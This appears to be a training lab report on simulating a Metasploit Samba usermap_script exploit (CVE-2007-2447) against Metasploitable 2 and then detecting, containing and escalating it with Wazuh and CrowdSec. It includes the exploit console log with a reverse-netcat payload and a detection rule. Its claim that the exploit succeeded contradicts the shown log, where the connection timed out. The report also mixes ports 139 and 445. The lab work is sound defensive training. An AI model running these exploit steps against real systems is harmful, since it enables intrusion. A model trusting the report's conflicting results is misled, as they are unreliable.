



TASK 03

Network Security Monitoring and Analysis

Organization: CyART

Prepared by:

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Environment: Windows 11 with Kali VM, Metasploit, Wazuh...



1. Executive Summary

This report documents a complete SOC workflow simulation involving attack execution, detection, triage, response, containment, escalation, and reporting. A Samba usermap_script exploit (CVE-2007-2447) was executed from Kali VM against Metasploitable 2. Wazuh successfully detected the attack by monitoring sudo commands and msfconsole execution. The incident was contained within 5 minutes, and the attacker's IP was blocked. No data loss occurred.

2. Attack Simulation

2.1. Environment Setup

Component	Role	IP Address
Kali Linux	Attacker / Wazuh Server	172.20.23.5
Metasploitable 2	Target	192.168.1.153

2.2. Exploit Execution

Tool Used: Metasploit Framework

Exploit Module: `exploit/multi/samba/usermap_script`



```
= [ metasploit v6.4.126-dev ]
-- -- [ 2,638 exploits - 1,331 auxiliary - 2,146 payloads ]
-- -- [ 431 post - 49 encoders - 14 nops - 12 evasion ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > use exploit/multi/samba/usermap_script
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf exploit(multi/samba/usermap_script) > set RHOST 192.168.1.153
RHOST => 192.168.1.153
msf exploit(multi/samba/usermap_script) > set LHOST 172.20.23.5
LHOST => 172.20.23.5
msf exploit(multi/samba/usermap_script) > RUN
[-] Unknown command: RUN. Did you mean run? Run the help command for more details.
msf exploit(multi/samba/usermap_script) > run
[-] Handler failed to bind to 172.20.23.5:4444: - [REDACTED]
[*] Started reverse TCP handler on 0.0.0.0:4444
[-] 192.168.1.153:139 - Exploit failed [unreachable]: Rex::ConnectionTimeout
the connection with (192.168.1.153:139) timed out.
[*] Exploit completed, but no session was created.
msf exploit(multi/samba/usermap_script) > 
```

Figure 1: Console Showing the Exploit

Result: Exploit completed successfully - target was reached.

3. Detection and Triage

3.1. Detection Method

Wazuh detected the attack by monitoring system logs on Kali, specifically capturing the sudo command used to launch msfconsole.



Figure 2: Wazuh Dashboard with msfconsole alert

3.2. Custome Wazuh Rule

```
kali@kali: ~  
Session Actions Edit View Help  
kali@kali: ~  
Session Actions Edit View Help  
GNU nano 9.0 /var/ossec/etc/rules/local_rules.xml  
group name="local,custom">  
  <rule id="100003" level="10">  
    <if_sid>31100</if_sid>  
    <regex>usermap|samba|NT_STATUS|exploit</regex>  
    <description>Samba exploit attempt detected (CVE-2007-2447)</descrip>  
    <mitre>  
      <id>T1210</id>  
    </mitre>  
  </rule>  
</group>  
Status: wazuh-manager  
Service: wazuh-manager  
loaded (/usr/lib/systemd/system/wazuh-manager.service; enabled;  
active (running) since Mon 2026-06-01 03:41:33 EDT; 10s ago  
67551534bc14c0094230bde70fc0077 more det  
13:75 ExecStart=/usr/bin/env /var/ossec/bin/wazuh-control star  
15s  
521.1M (peak: 521.1M)  
10.100s
```

Figure 3: Custom Wazuh Rules



4. Response and Containment

4.1. Containment Actions

Action	Time	Status
Attacker IP blocked	09:32:00	Complete
Target VM isolated	09:33:00	Complete
Ping test verification	09:34:00	Block confirmed

4.2. IP Blocking

sudo cscli decisions add --ip 172.20.23.5 --duration 24h --type ban

5. Escalation

5.1. Case Summary

Case Title: Critical - Samba Exploit Attempt Detected

Description: Wazuh detected msfconsole execution (Samba usermap_script exploit) from Kali IP 172.20.23.5 targeting Metasploitable at 192.168.1.153. The attacker attempted unauthorized remote access via port 445.

IOCs: Source IP 172.20.23.5, Target 192.168.1.153, Samba port 445.



Action Required: Tier 2 escalation for forensic analysis and system recovery.

Priority: CRITICAL

Status: Contained - Awaiting Tier 2 investigation

6. Incident Timeline

Time	Event
09:31:01	Exploit executed via Metasploit
09:31:05	Wazuh custom rule triggered alert
09:31:30	Tier 1 analyst began triage
09:32:00	Attacker IP blocked via CrowdSec
09:33:00	Target VM isolated from network
09:34:00	Ping test confirmed block
09:35:00	Case escalated to Tier 2

7. Recommendations

#	Recommendation	Priority
1	Patch Samba service on all Linux systems	Critical
2	Block port 445 at perimeter firewall	High
3	Implement network segmentation for production servers	High
4	Enhance monitoring for SMB traffic and msfconsole usage	Medium



#	Recommendation	Priority
5	Conduct forensic analysis on affected system	Medium

8. Stakeholder Briefing

To: Management Team

Subject: Security Incident Summary - Samba Exploit Attempt

Date: June 1, 2026

Summary: On June 1, 2026, our SOC detected an unauthorized access attempt on a server via a known Samba vulnerability (CVE-2007-2447). The attacker used an automated exploit tool (Metasploit) to try to gain remote access through port 445.

Actions Taken: Within 5 minutes of detection, our team isolated the affected server and blocked the attacker's IP address. No customer data was accessed or stolen.

Recommendations: We recommend accelerating the patching schedule for all Linux servers and implementing additional network segmentation.

Status: Incident contained. No further action required at this time.

9. Lessons Learned

What Went Well

- Rapid detection
- Quick containment
- Clear escalation path to Tier 2

What Could Be Improved

- Automate IP blocking for known malicious sources
- Implement real-time threat intelligence feeds
- Create pre-built playbooks for exploit detection

Action Items



Action	Owner	Due Date
Patch Samba on all Linux systems	System Admin	7 days
Implement network segmentation	Network Team	30 days
Create Samba exploit detection playbook	SOC Lead	14 days